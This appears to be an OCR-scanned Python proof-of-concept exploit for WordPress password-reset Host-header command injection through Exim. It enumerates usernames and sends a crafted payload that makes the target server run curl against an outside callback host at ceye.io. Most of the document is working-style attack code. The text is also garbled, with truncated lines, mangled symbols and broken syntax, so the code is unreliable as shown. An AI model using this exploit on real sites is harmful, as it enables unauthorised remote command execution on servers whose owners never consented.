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#!/usr/bin/env python
# coding:utf-8

import re

import random

import requests

def generate command (command) :

command = '$S{run{%s}}' % command

command = command.replace('/', '${substr{0}{1l}{Sspool directory}}"')

command = command.replace(':', '${substr{13}{1}{S$tod log}}")
command = command.replace(' ', 'S{substr{10}{1}{Stod log}}")
return 'target (any -froot@localhost -be %$s null)' % command

def getname (target) :
username = []
try:
for user in ('admin', 'adminl', 'test', 'manager'):
data = {
'log': user,
'pwd': 'none exits.Password',
}
ua = {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6
req = requests.post('$s/wp-login.php' % target, data=data, headers=u:
content = reqg.text
for pattern in (u'SMHAP.?<strong>%$s</strong>' $ user,
u'<strong>%$s</strong>HBIBAIEM' % user,
u'The password you entered for the username <strong>‘
exits = re.findall (pattern, content)
if exits:
return user
raise Exception
except:
try:
req = requests.get('$s/wp-json/wp/v2/users/' % target)
content = req.json()
for v in content:
username.append (str(v['link']) .split('/") [-1])
if username:
return random.choice (username)
else:
raise Exception
except:
try:
for x in range(5):

[o)

req = requests.get ('%s/?author=%s' % (target, str(x+1l)))

content = reqg.content

for pattern in (u'<span class="date">(.*?) ', u'author-(.*?)
match = re.findall (pattern, content)
if match:
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return match[0]
except:
pass

return 'cannot-find-valid-name'

def poc(target):
if '://' in target:
target = target.rstrip('/")

else:

target = 'http://' + target.rstrip('/")
username = getname (target)
if username == 'cannot-find-valid-name':

return False

data = {
'user login': username,
'wp-submit': 'Get+New+Password',

'redirect to': '',

headers = {
'Host': generate command('/usr/bin/curl http://yoururl.ceye.io/%s' % tarc
"Accept": "*/*",

'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;

url = target + '/wp-login.php?action=lostpassword'

try:
requests.post (url, headers=headers, data=data, allow redirects=False)
return '[+] finish: %s' % target

except Exception as e:

return '[-] error : ' + str(e.message)
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